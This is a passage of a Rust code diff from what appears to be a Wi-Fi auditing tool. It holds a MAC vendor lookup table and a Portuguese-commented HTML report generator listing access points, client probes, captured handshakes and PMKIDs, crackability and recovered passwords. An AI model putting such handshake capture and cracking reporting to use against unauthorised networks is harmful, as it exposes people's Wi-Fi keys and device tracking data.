("b03956", "Netgear"),
|
||||||
|
("b04e26", "TP-Link"),
|
||||||
|
("b05b67", "Huawei"),
|
||||||
|
("b065bd", "Apple"),
|
||||||
|
("b06ebf", "Asus"),
|
||||||
|
("b0702d", "Apple"),
|
||||||
|
("b072bf", "Samsung"),
|
||||||
|
("b07fb9", "Netgear"),
|
||||||
|
("b09fba", "Apple"),
|
||||||
|
("b0b98a", "Netgear"),
|
||||||
|
("b0be76", "TP-Link"),
|
||||||
|
("b0c554", "D-Link"),
|
||||||
|
("b0ca68", "Apple"),
|
||||||
|
("b0d09c", "Apple"),
|
||||||
|
("b0df3a", "Samsung"),
|
||||||
|
("b41513", "Huawei"),
|
||||||
|
("b418d1", "Apple"),
|
||||||
|
("b43a28", "Samsung"),
|
||||||
|
("b44bd2", "Apple"),
|
||||||
|
("b45d50", "Aruba"),
|
||||||
|
("b4750e", "Netgear"),
|
||||||
|
("b479a7", "Ruckus"),
|
||||||
|
("b48b19", "Apple"),
|
||||||
|
("b49cdf", "Apple"),
|
||||||
|
("b4ae2b", "Asus"),
|
||||||
|
("b4b024", "TP-Link"),
|
||||||
|
("b4f0ab", "Apple"),
|
||||||
|
("b4fbe4", "Ubiquiti"),
|
||||||
|
("b808d7", "Huawei"),
|
||||||
|
("b8098a", "Apple"),
|
||||||
|
("b817c2", "Apple"),
|
||||||
|
("b841a4", "Apple"),
|
||||||
|
("b844d9", "Apple"),
|
||||||
|
("b853ac", "Apple"),
|
||||||
|
("b85d0a", "Apple"),
|
||||||
|
("b85e7b", "Samsung"),
|
||||||
|
("b8634d", "Apple"),
|
||||||
|
("b8782e", "Apple"),
|
||||||
|
("b88d12", "Apple"),
|
||||||
|
("b89f09", "Apple"),
|
||||||
|
("b8a386", "D-Link"),
|
||||||
|
("b8aeed", "Asus"),
|
||||||
|
("b8c111", "Apple"),
|
||||||
|
("b8c75d", "Apple"),
|
||||||
|
("b8e856", "Apple"),
|
||||||
|
("b8f6b1", "Apple"),
|
||||||
|
("b8f883", "TP-Link"),
|
||||||
|
("b8ff61", "Apple"),
|
||||||
|
("bc1485", "Samsung"),
|
||||||
|
("bc20a4", "Samsung"),
|
||||||
|
("bc2228", "D-Link"),
|
||||||
|
("bc25e0", "Huawei"),
|
||||||
|
("bc3baf", "Apple"),
|
||||||
|
("bc4699", "TP-Link"),
|
||||||
|
("bc4cc4", "Apple"),
|
||||||
|
("bc52b7", "Apple"),
|
||||||
|
("bc5436", "Apple"),
|
||||||
|
("bc6778", "Apple"),
|
||||||
|
("bc6c21", "Apple"),
|
||||||
|
("bc8d0f", "Ruckus"),
|
||||||
|
("bc926b", "Apple"),
|
||||||
|
("bc9fe4", "Aruba"),
|
||||||
|
("bc9fef", "Apple"),
|
||||||
|
("bca511", "Netgear"),
|
||||||
|
("bca920", "Apple"),
|
||||||
|
("bcaec5", "Asus"),
|
||||||
|
("bcec5d", "Apple"),
|
||||||
|
("bcee7b", "Asus"),
|
||||||
|
("c025e9", "TP-Link"),
|
||||||
|
("c03f0e", "Netgear"),
|
||||||
|
("c04a00", "TP-Link"),
|
||||||
|
("c06394", "Apple"),
|
||||||
|
("c07009", "Huawei"),
|
||||||
|
("c0847a", "Apple"),
|
||||||
|
("c08ade", "Aruba"),
|
||||||
|
("c09f42", "Apple"),
|
||||||
|
("c0a0bb", "D-Link"),
|
||||||
|
("c0a53e", "Apple"),
|
||||||
|
("c0bdd1", "Samsung"),
|
||||||
|
("c0cecd", "Apple"),
|
||||||
|
("c0d012", "Apple"),
|
||||||
|
("c0f2fb", "Apple"),
|
||||||
|
("c0ffd4", "Netgear"),
|
||||||
|
("c4017c", "Ruckus"),
|
||||||
|
("c40415", "Netgear"),
|
||||||
|
("c40528", "Huawei"),
|
||||||
|
("c42c03", "Apple"),
|
||||||
|
("c43dc7", "Netgear"),
|
||||||
|
("c4576e", "Samsung"),
|
||||||
|
("c46e1f", "TP-Link"),
|
||||||
|
("c47154", "Aruba"),
|
||||||
|
("c4a81d", "D-Link"),
|
||||||
|
("c4b301", "Apple"),
|
||||||
|
("c4e984", "TP-Link"),
|
||||||
|
("c80e14", "TP-Link"),
|
||||||
|
("c819f7", "Samsung"),
|
||||||
|
("c82a14", "Apple"),
|
||||||
|
("c83a35", "Netgear"),
|
||||||
|
("c86000", "Asus"),
|
||||||
|
("c869cd", "Apple"),
|
||||||
|
("c86f1d", "Apple"),
|
||||||
|
("c88550", "Apple"),
|
||||||
|
("c894bb", "Huawei"),
|
||||||
|
("c8b5ad", "Ruckus"),
|
||||||
|
("c8b5b7", "Apple"),
|
||||||
|
("c8bcc8", "Apple"),
|
||||||
|
("c8be19", "D-Link"),
|
||||||
|
("c8d083", "Apple"),
|
||||||
|
("c8e0eb", "Apple"),
|
||||||
|
("c8f650", "Apple"),
|
||||||
|
("cc07ab", "Samsung"),
|
||||||
|
("cc088d", "Apple"),
|
||||||
|
("cc20e8", "Apple"),
|
||||||
|
("cc25ef", "Apple"),
|
||||||
|
("cc29f5", "Apple"),
|
||||||
|
("cc2d1b", "Asus"),
|
||||||
|
("cc2de0", "MikroTik"),
|
||||||
|
("cc32e5", "TP-Link"),
|
||||||
|
("cc3e5f", "Ruckus"),
|
||||||
|
("cc40d0", "Netgear"),
|
||||||
|
("cc4463", "Apple"),
|
||||||
|
("cc53b5", "Huawei"),
|
||||||
|
("cc785f", "Apple"),
|
||||||
|
("ccb255", "D-Link"),
|
||||||
|
("ccc760", "Apple"),
|
||||||
|
("d017c2", "Asus"),
|
||||||
|
("d021f9", "Ubiquiti"),
|
||||||
|
("d022be", "Samsung"),
|
||||||
|
("d023db", "Apple"),
|
||||||
|
("d02598", "Apple"),
|
||||||
|
("d02db3", "Huawei"),
|
||||||
|
("d03311", "Apple"),
|
||||||
|
("d04f7e", "Apple"),
|
||||||
|
("d05afd", "Aruba"),
|
||||||
|
("d0667b", "Samsung"),
|
||||||
|
("d07e28", "TP-Link"),
|
||||||
|
("d0817a", "Apple"),
|
||||||
|
("d0a637", "Apple"),
|
||||||
|
("d0c5f3", "Apple"),
|
||||||
|
("d0d2b0", "Apple"),
|
||||||
|
("d0e140", "Apple"),
|
||||||
|
("d45d64", "Asus"),
|
||||||
|
("d4619d", "Apple"),
|
||||||
|
("d468ba", "Ruckus"),
|
||||||
|
("d46e0e", "TP-Link"),
|
||||||
|
("d46e5c", "Huawei"),
|
||||||
|
("d487d8", "Samsung"),
|
||||||
|
("d49a20", "Apple"),
|
||||||
|
("d4ca6d", "MikroTik"),
|
||||||
|
("d4d2d6", "Apple"),
|
||||||
|
("d4f46f", "Apple"),
|
||||||
|
("d80d17", "TP-Link"),
|
||||||
|
("d81d72", "Apple"),
|
||||||
|
("d83062", "Apple"),
|
||||||
|
("d838fc", "Ruckus"),
|
||||||
|
("d84732", "TP-Link"),
|
||||||
|
("d8490b", "Huawei"),
|
||||||
|
("d850e6", "Asus"),
|
||||||
|
("d857ef", "Samsung"),
|
||||||
|
("d89695", "Apple"),
|
||||||
|
("d89e3f", "Apple"),
|
||||||
|
("d8a25e", "Apple"),
|
||||||
|
("d8bb2c", "Apple"),
|
||||||
|
("d8c7c8", "Aruba"),
|
||||||
|
("d8cf9c", "Apple"),
|
||||||
|
("d8d1cb", "Apple"),
|
||||||
|
("d8fee3", "D-Link"),
|
||||||
|
("dc0c5c", "Apple"),
|
||||||
|
("dc2b2a", "Apple"),
|
||||||
|
("dc2c6e", "MikroTik"),
|
||||||
|
("dc3714", "Apple"),
|
||||||
|
("dc415f", "Apple"),
|
||||||
|
("dc7144", "Samsung"),
|
||||||
|
("dc7412", "Ruckus"),
|
||||||
|
("dc86d8", "Apple"),
|
||||||
|
("dc9b9c", "Apple"),
|
||||||
|
("dc9fdb", "TP-Link"),
|
||||||
|
("dca4ca", "Apple"),
|
||||||
|
("dca904", "Apple"),
|
||||||
|
("dcb808", "Apple"),
|
||||||
|
("dcd2fc", "Huawei"),
|
||||||
|
("dcda4f", "D-Link"),
|
||||||
|
("dcef09", "Netgear"),
|
||||||
|
("e005c5", "TP-Link"),
|
||||||
|
("e0107f", "Ruckus"),
|
||||||
|
("e0247f", "Huawei"),
|
||||||
|
("e03f49", "Asus"),
|
||||||
|
("e0469a", "Netgear"),
|
||||||
|
("e0553d", "Meraki"),
|
||||||
|
("e05f45", "Apple"),
|
||||||
|
("e063da", "Ubiquiti"),
|
||||||
|
("e06678", "Apple"),
|
||||||
|
("e091f5", "Netgear"),
|
||||||
|
("e0b52d", "Apple"),
|
||||||
|
("e0b9ba", "Apple"),
|
||||||
|
("e0c767", "Apple"),
|
||||||
|
("e0c97a", "Apple"),
|
||||||
|
("e0cb4e", "Asus"),
|
||||||
|
("e0d9e3", "Apple"),
|
||||||
|
("e0f5c6", "Apple"),
|
||||||
|
("e0f847", "Apple"),
|
||||||
|
("e4121d", "Samsung"),
|
||||||
|
("e425e7", "Apple"),
|
||||||
|
("e42b34", "Apple"),
|
||||||
|
("e450eb", "Apple"),
|
||||||
|
("e458b8", "Samsung"),
|
||||||
|
("e468a3", "Huawei"),
|
||||||
|
("e46f13", "D-Link"),
|
||||||
|
("e470b8", "Asus"),
|
||||||
|
("e47cf9", "Samsung"),
|
||||||
|
("e48b7f", "Apple"),
|
||||||
|
("e48d8c", "MikroTik"),
|
||||||
|
("e49a79", "Apple"),
|
||||||
|
("e4b318", "Apple"),
|
||||||
|
("e4c32a", "TP-Link"),
|
||||||
|
("e4c63d", "Apple"),
|
||||||
|
("e4ce8f", "Apple"),
|
||||||
|
("e4e4ab", "Apple"),
|
||||||
|
("e4f4c6", "Netgear"),
|
||||||
|
("e8039a", "Samsung"),
|
||||||
|
("e8040b", "Apple"),
|
||||||
|
("e80688", "Apple"),
|
||||||
|
("e8088b", "Huawei"),
|
||||||
|
("e8102f", "Ruckus"),
|
||||||
|
("e82689", "Apple"),
|
||||||
|
("e82a44", "Apple"),
|
||||||
|
("e848b8", "TP-Link"),
|
||||||
|
("e8553d", "Meraki"),
|
||||||
|
("e86d52", "Aruba"),
|
||||||
|
("e8802e", "Apple"),
|
||||||
|
("e88d28", "Apple"),
|
||||||
|
("e89c25", "Asus"),
|
||||||
|
("e8b2ac", "Apple"),
|
||||||
|
("e8cc18", "D-Link"),
|
||||||
|
("e8de27", "TP-Link"),
|
||||||
|
("e8fcaf", "Netgear"),
|
||||||
|
("ec086b", "TP-Link"),
|
||||||
|
("ec172f", "TP-Link"),
|
||||||
|
("ec1f72", "Samsung"),
|
||||||
|
("ec2280", "D-Link"),
|
||||||
|
("ec233d", "Huawei"),
|
||||||
|
("ec3586", "Apple"),
|
||||||
|
("ec852f", "Apple"),
|
||||||
|
("ec8eb5", "Aruba"),
|
||||||
|
("ec9bf3", "Asus"),
|
||||||
|
("f01898", "Apple"),
|
||||||
|
("f01cfc", "Apple"),
|
||||||
|
("f025b7", "Samsung"),
|
||||||
|
("f02f74", "Asus"),
|
||||||
|
("f03e90", "Ruckus"),
|
||||||
|
("f04347", "Huawei"),
|
||||||
|
("f05c19", "Aruba"),
|
||||||
|
("f07960", "Apple"),
|
||||||
|
("f07d68", "D-Link"),
|
||||||
|
("f0989d", "Apple"),
|
||||||
|
("f09fc2", "TP-Link"),
|
||||||
|
("f0b0e7", "Apple"),
|
||||||
|
("f0c1f1", "Apple"),
|
||||||
|
("f0cba1", "Apple"),
|
||||||
|
("f0d1a9", "Apple"),
|
||||||
|
("f0dbe2", "Apple"),
|
||||||
|
("f0dce2", "Apple"),
|
||||||
|
("f0f61c", "Apple"),
|
||||||
|
("f437b7", "Apple"),
|
||||||
|
("f4559c", "Huawei"),
|
||||||
|
("f45c89", "Apple"),
|
||||||
|
("f45fd4", "Apple"),
|
||||||
|
("f46d04", "Asus"),
|
||||||
|
("f483cd", "TP-Link"),
|
||||||
|
("f49f54", "Samsung"),
|
||||||
|
("f4e2c6", "Ubiquiti"),
|
||||||
|
("f4ec38", "TP-Link"),
|
||||||
|
("f4f15a", "Apple"),
|
||||||
|
("f4f5d8", "Google"),
|
||||||
|
("f4f951", "Apple"),
|
||||||
|
("f80113", "Huawei"),
|
||||||
|
("f81edf", "Apple"),
|
||||||
|
("f82793", "Apple"),
|
||||||
|
("f832e4", "Asus"),
|
||||||
|
("f83880", "Apple"),
|
||||||
|
("f86fc1", "Apple"),
|
||||||
|
("f87394", "Netgear"),
|
||||||
|
("f8ffc2", "Apple"),
|
||||||
|
("fc0013", "Samsung"),
|
||||||
|
("fc253f", "Apple"),
|
||||||
|
("fc3497", "Asus"),
|
||||||
|
("fc48ef", "Huawei"),
|
||||||
|
("fc7516", "D-Link"),
|
||||||
|
("fc7c02", "TP-Link"),
|
||||||
|
("fca13e", "Samsung"),
|
||||||
|
("fcc734", "Samsung"),
|
||||||
|
("fcd848", "Apple"),
|
||||||
|
("fce998", "Apple"),
|
||||||
|
("fcecda", "Ubiquiti"),
|
||||||
|
("fcfc48", "Apple"),
|
||||||
|
];
|
||||||
|
|
||||||
|
pub fn vendor(mac: &str) -> Option<&'static str> {
|
||||||
|
let hex: String = mac
|
||||||
|
.chars()
|
||||||
|
.filter(|c| c.is_ascii_hexdigit())
|
||||||
|
.take(6)
|
||||||
|
.collect::<String>()
|
||||||
|
.to_ascii_lowercase();
|
||||||
|
if hex.len() < 6 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
OUIS.iter()
|
||||||
|
.find(|(prefix, _)| *prefix == hex)
|
||||||
|
.map(|(_, name)| *name)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn finds_common_vendors() {
|
||||||
|
assert_eq!(vendor("b8:27:eb:aa:bb:cc"), None);
|
||||||
|
assert_eq!(vendor("00:0c:29:aa:bb:cc"), Some("VMware"));
|
||||||
|
assert_eq!(vendor("F4:F5:D8:00:00:00"), Some("Google"));
|
||||||
|
assert_eq!(vendor("nope"), None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn prefixes_are_normalized() {
|
||||||
|
for (prefix, _) in OUIS {
|
||||||
|
assert_eq!(prefix.len(), 6, "{prefix}");
|
||||||
|
assert!(prefix.chars().all(|c| c.is_ascii_hexdigit()), "{prefix}");
|
||||||
|
assert_eq!(*prefix, prefix.to_ascii_lowercase(), "{prefix}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,811 @@
|
|||||||
|
//! Relatório de auditoria em HTML paginado com Paged.js.
|
||||||
|
//!
|
||||||
|
//! O mesmo modelo alimenta a pré-visualização na interface e o arquivo
|
||||||
|
//! standalone. A paginação é feita no navegador (A4, margens, cabeçalho e
|
||||||
|
//! rodapé), então o PDF sai pelo diálogo de impressão sem depender de
|
||||||
|
//! Chromium no servidor.
|
||||||
|
|
||||||
|
use crate::analysis::Analysis;
|
||||||
|
use crate::audit::AuditEntry;
|
||||||
|
use crate::handshake::HandshakeInfo;
|
||||||
|
use crate::scan::{AccessPoint, Client, ScanStats};
|
||||||
|
use serde::Serialize;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct ReportModel {
|
||||||
|
pub title: String,
|
||||||
|
pub version: String,
|
||||||
|
pub iface: String,
|
||||||
|
pub running: bool,
|
||||||
|
pub generated_unix: u64,
|
||||||
|
pub stats: ScanStats,
|
||||||
|
pub access_points: Vec<AccessPoint>,
|
||||||
|
pub clients: Vec<Client>,
|
||||||
|
pub handshakes: Vec<HandshakeInfo>,
|
||||||
|
pub analysis: Analysis,
|
||||||
|
pub audit: Vec<AuditEntry>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
|
pub struct ReportOptions {
|
||||||
|
/// Troca o `<script src>` por um marcador para o servidor embutir o
|
||||||
|
/// polyfill e gerar um HTML que funciona offline.
|
||||||
|
pub inline_pagedjs: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
const PAGED_MARKER: &str = "<!--SABIA_PAGEDJS-->";
|
||||||
|
const LOGO_PNG: &[u8] = include_bytes!("../../../apps/gui/ui/sabia.png");
|
||||||
|
const B64: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
|
/// Embute o logo como `data:` URI — sem isso o relatório standalone (modo
|
||||||
|
/// offline, pensado pra abrir sem servidor nenhum) teria um `<img
|
||||||
|
/// src="/sabia.png">` que nunca resolve fora do `sabia ui`. Pequeno o
|
||||||
|
/// bastante (poucos KB) pra não valer a pena puxar uma crate de base64 só
|
||||||
|
/// por isso.
|
||||||
|
fn base64(bytes: &[u8]) -> String {
|
||||||
|
let mut out = String::with_capacity(bytes.len().div_ceil(3) * 4);
|
||||||
|
for chunk in bytes.chunks(3) {
|
||||||
|
let b0 = chunk[0];
|
||||||
|
let b1 = chunk.get(1).copied();
|
||||||
|
let b2 = chunk.get(2).copied();
|
||||||
|
out.push(B64[(b0 >> 2) as usize] as char);
|
||||||
|
out.push(B64[(((b0 & 0b11) << 4) | (b1.unwrap_or(0) >> 4)) as usize] as char);
|
||||||
|
out.push(match b1 {
|
||||||
|
Some(b1) => B64[(((b1 & 0b1111) << 2) | (b2.unwrap_or(0) >> 6)) as usize] as char,
|
||||||
|
None => '=',
|
||||||
|
});
|
||||||
|
out.push(match b2 {
|
||||||
|
Some(b2) => B64[(b2 & 0b111111) as usize] as char,
|
||||||
|
None => '=',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
fn esc(value: &str) -> String {
|
||||||
|
value
|
||||||
|
.replace('&', "&")
|
||||||
|
.replace('<', "<")
|
||||||
|
.replace('>', ">")
|
||||||
|
.replace('"', """)
|
||||||
|
.replace('\'', "'")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn civil_from_days(z: i64) -> (i64, u32, u32) {
|
||||||
|
let z = z + 719468;
|
||||||
|
let era = if z >= 0 { z } else { z - 146096 } / 146097;
|
||||||
|
let doe = (z - era * 146097) as u64;
|
||||||
|
let yoe = (doe - doe / 1460 + doe / 36524 - doe / 146096) / 365;
|
||||||
|
let y = yoe as i64 + era * 400;
|
||||||
|
let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
|
||||||
|
let mp = (5 * doy + 2) / 153;
|
||||||
|
let d = (doy - (153 * mp + 2) / 5 + 1) as u32;
|
||||||
|
let m = if mp < 10 { mp + 3 } else { mp - 9 } as u32;
|
||||||
|
(if m <= 2 { y + 1 } else { y }, m, d)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn format_unix(ts: u64) -> String {
|
||||||
|
if ts == 0 {
|
||||||
|
return "—".into();
|
||||||
|
}
|
||||||
|
let days = (ts / 86_400) as i64;
|
||||||
|
let secs = ts % 86_400;
|
||||||
|
let (y, m, d) = civil_from_days(days);
|
||||||
|
format!(
|
||||||
|
"{d:02}/{m:02}/{y} {:02}:{:02} UTC",
|
||||||
|
secs / 3600,
|
||||||
|
(secs % 3600) / 60
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn severity_label(severity: &str) -> &'static str {
|
||||||
|
match severity {
|
||||||
|
"bad" => "crítico",
|
||||||
|
"warn" => "atenção",
|
||||||
|
_ => "informativo",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn stat_card(value: impl std::fmt::Display, label: &str, variant: &str) -> String {
|
||||||
|
format!(
|
||||||
|
"<div class=\"stat{}\"><span class=\"l\">{}</span><strong>{}</strong></div>",
|
||||||
|
if variant.is_empty() {
|
||||||
|
String::new()
|
||||||
|
} else {
|
||||||
|
format!(" v-{variant}")
|
||||||
|
},
|
||||||
|
esc(label),
|
||||||
|
esc(&value.to_string()),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn findings_html(model: &ReportModel) -> String {
|
||||||
|
if model.analysis.findings.is_empty() {
|
||||||
|
return "<p class=\"muted\">Nenhum achado relevante nas regras atuais.</p>".into();
|
||||||
|
}
|
||||||
|
let cards = model
|
||||||
|
.analysis
|
||||||
|
.findings
|
||||||
|
.iter()
|
||||||
|
.map(|f| {
|
||||||
|
let scope = match (&f.ssid, &f.bssid) {
|
||||||
|
(Some(ssid), Some(bssid)) => format!("{ssid} · {bssid}"),
|
||||||
|
(Some(ssid), None) => ssid.clone(),
|
||||||
|
(None, Some(bssid)) => bssid.clone(),
|
||||||
|
_ => "—".into(),
|
||||||
|
};
|
||||||
|
format!(
|
||||||
|
"<article class=\"finding finding-{}\"><header><span class=\"tag tag-{}\">{}</span><h3>{}</h3></header><p>{}</p><div class=\"scope mono\">{}</div></article>",
|
||||||
|
esc(&f.severity),
|
||||||
|
esc(&f.severity),
|
||||||
|
severity_label(&f.severity),
|
||||||
|
esc(&f.title),
|
||||||
|
esc(&f.detail),
|
||||||
|
esc(&scope),
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("");
|
||||||
|
format!("<div class=\"findings\">{cards}</div>")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn channels_html(model: &ReportModel) -> String {
|
||||||
|
if model.analysis.bands.is_empty() {
|
||||||
|
return "<p class=\"muted\">Nenhum AP com canal identificado.</p>".into();
|
||||||
|
}
|
||||||
|
model
|
||||||
|
.analysis
|
||||||
|
.bands
|
||||||
|
.iter()
|
||||||
|
.map(|band| {
|
||||||
|
let max = band
|
||||||
|
.candidates
|
||||||
|
.iter()
|
||||||
|
.map(|c| c.score)
|
||||||
|
.fold(0.0f32, f32::max)
|
||||||
|
.max(0.01);
|
||||||
|
let rows = band
|
||||||
|
.candidates
|
||||||
|
.iter()
|
||||||
|
.map(|c| {
|
||||||
|
let width = (c.score / max * 100.0).clamp(2.0, 100.0);
|
||||||
|
let best = band.recommended == Some(c.channel);
|
||||||
|
format!(
|
||||||
|
"<div class=\"chan-row{} diff-{}\"><span class=\"chan-n mono\">{}{}</span><span class=\"chan-bar\"><i class=\"diff-{}\" style=\"width:{width:.1}%\"></i></span><span class=\"chan-score\">{:.2}</span><span class=\"chan-aps\">{} AP(s){} </span></div>",
|
||||||
|
if best { " chan-best" } else { "" },
|
||||||
|
if c.score < 0.5 { "low" } else if c.score < 1.5 { "mid" } else { "high" },
|
||||||
|
c.channel,
|
||||||
|
if c.dfs { "<span class=\"mini-tag\">DFS</span>" } else { "" },
|
||||||
|
if c.score < 0.5 { "low" } else if c.score < 1.5 { "mid" } else { "high" },
|
||||||
|
c.score,
|
||||||
|
c.aps,
|
||||||
|
if best { " · recomendado" } else { "" },
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("");
|
||||||
|
format!(
|
||||||
|
"<section class=\"band\"><header><h3>{}</h3><span class=\"muted\">canal recomendado: {}</span></header>{}</section>",
|
||||||
|
esc(&band.band),
|
||||||
|
band.recommended
|
||||||
|
.map(|c| c.to_string())
|
||||||
|
.unwrap_or_else(|| "—".into()),
|
||||||
|
rows
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn aps_html(model: &ReportModel) -> String {
|
||||||
|
if model.access_points.is_empty() {
|
||||||
|
return "<p class=\"muted\">Nenhum AP capturado.</p>".into();
|
||||||
|
}
|
||||||
|
let rows = model
|
||||||
|
.access_points
|
||||||
|
.iter()
|
||||||
|
.map(|ap| {
|
||||||
|
format!(
|
||||||
|
"<tr><td class=\"strong\">{}</td><td class=\"mono\">{}</td><td class=\"mono\">{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td class=\"num\">{}</td><td class=\"num\">{}</td></tr>",
|
||||||
|
esc(ap.ssid.as_deref().filter(|s| !s.is_empty()).unwrap_or("(oculta)")),
|
||||||
|
esc(&ap.bssid),
|
||||||
|
ap.channel.map(|c| c.to_string()).unwrap_or_else(|| "—".into()),
|
||||||
|
esc(ap.security.as_deref().unwrap_or("—")),
|
||||||
|
esc(ap.cipher.as_deref().unwrap_or("—")),
|
||||||
|
if ap.pmf_required { "exigido" } else if ap.pmf { "sim" } else { "não" },
|
||||||
|
if ap.wps { if ap.wps_locked == Some(true) { "travado" } else { "ativo" } } else { "—" },
|
||||||
|
ap.signal_dbm.map(|s| s.to_string()).unwrap_or_else(|| "—".into()),
|
||||||
|
ap.clients.len(),
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("");
|
||||||
|
format!(
|
||||||
|
"<table><thead><tr><th>SSID</th><th>BSSID</th><th>Canal</th><th>Segurança</th><th>Cifra</th><th>PMF</th><th>WPS</th><th>Sinal</th><th>Clientes</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn clients_html(model: &ReportModel) -> String {
|
||||||
|
if model.clients.is_empty() {
|
||||||
|
return "<p class=\"muted\">Nenhum cliente capturado.</p>".into();
|
||||||
|
}
|
||||||
|
let rows = model
|
||||||
|
.clients
|
||||||
|
.iter()
|
||||||
|
.take(120)
|
||||||
|
.map(|c| {
|
||||||
|
format!(
|
||||||
|
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td class=\"num\">{}</td><td class=\"num\">{}</td><td>{}</td><td>{}</td></tr>",
|
||||||
|
esc(&c.mac),
|
||||||
|
esc(c.vendor.as_deref().unwrap_or("—")),
|
||||||
|
esc(c.bssid.as_deref().unwrap_or("—")),
|
||||||
|
c.signal_dbm.map(|s| s.to_string()).unwrap_or_else(|| "—".into()),
|
||||||
|
c.packets,
|
||||||
|
if c.associated { "sim" } else { "não" },
|
||||||
|
esc(&c.probes.join(", ")),
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("");
|
||||||
|
format!(
|
||||||
|
"<table><thead><tr><th>MAC</th><th>Fabricante</th><th>BSSID</th><th>Sinal</th><th>Pacotes</th><th>Associado</th><th>Probes</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn handshakes_html(model: &ReportModel) -> String {
|
||||||
|
if model.handshakes.is_empty() {
|
||||||
|
return "<p class=\"muted\">Nenhum handshake ou PMKID capturado.</p>".into();
|
||||||
|
}
|
||||||
|
let rows = model
|
||||||
|
.handshakes
|
||||||
|
.iter()
|
||||||
|
.map(|h| {
|
||||||
|
format!(
|
||||||
|
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td>{}</td><td>{}</td><td>{}</td></tr>",
|
||||||
|
esc(&h.station),
|
||||||
|
esc(h.ssid.as_deref().unwrap_or("—")),
|
||||||
|
esc(h.kind.as_str()),
|
||||||
|
esc(&h.messages),
|
||||||
|
if h.pmkid.is_some() { "PMKID" } else if h.crackable { "sim" } else { "não" },
|
||||||
|
esc(h.password.as_deref().unwrap_or("—")),
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("");
|
||||||
|
format!(
|
||||||
|
"<table><thead><tr><th>Estação</th><th>SSID</th><th>Tipo</th><th>Mensagens</th><th>Quebrável</th><th>Senha</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wpa3_html(model: &ReportModel) -> String {
|
||||||
|
if model.analysis.wpa3.is_empty() {
|
||||||
|
return "<p class=\"muted\">Nenhuma rede WPA3 observada.</p>".into();
|
||||||
|
}
|
||||||
|
model
|
||||||
|
.analysis
|
||||||
|
.wpa3
|
||||||
|
.iter()
|
||||||
|
.map(|w| {
|
||||||
|
let notes = if w.notes.is_empty() {
|
||||||
|
"<li>Nenhuma observação adicional.</li>".to_string()
|
||||||
|
} else {
|
||||||
|
w.notes
|
||||||
|
.iter()
|
||||||
|
.map(|n| format!("<li>{}</li>", esc(n)))
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("")
|
||||||
|
};
|
||||||
|
format!(
|
||||||
|
"<article class=\"wpa3\"><header><strong>{}</strong><span class=\"mono\">{}</span><span class=\"tag tag-info\">{}</span></header><p>PMF: {} · obrigatório: {} · transição: {}</p><ul>{}</ul></article>",
|
||||||
|
esc(w.ssid.as_deref().unwrap_or("(oculta)")),
|
||||||
|
esc(&w.bssid),
|
||||||
|
esc(&w.mode),
|
||||||
|
if w.pmf { "sim" } else { "não" },
|
||||||
|
if w.pmf_required { "sim" } else { "não" },
|
||||||
|
if w.transition { "sim" } else { "não" },
|
||||||
|
notes
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn audit_html(model: &ReportModel) -> String {
|
||||||
|
if model.audit.is_empty() {
|
||||||
|
return "<p class=\"muted\">Trilha de auditoria vazia.</p>".into();
|
||||||
|
}
|
||||||
|
let rows = model
|
||||||
|
.audit
|
||||||
|
.iter()
|
||||||
|
.take(60)
|
||||||
|
.map(|e| {
|
||||||
|
let detail = if e.detail.chars().count() > 140 {
|
||||||
|
format!("{}…", e.detail.chars().take(140).collect::<String>())
|
||||||
|
} else {
|
||||||
|
e.detail.clone()
|
||||||
|
};
|
||||||
|
format!(
|
||||||
|
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td class=\"mono small\">{}</td><td class=\"mono small\">{}</td></tr>",
|
||||||
|
esc(&e.timestamp),
|
||||||
|
esc(&e.action),
|
||||||
|
esc(&e.target),
|
||||||
|
esc(&detail),
|
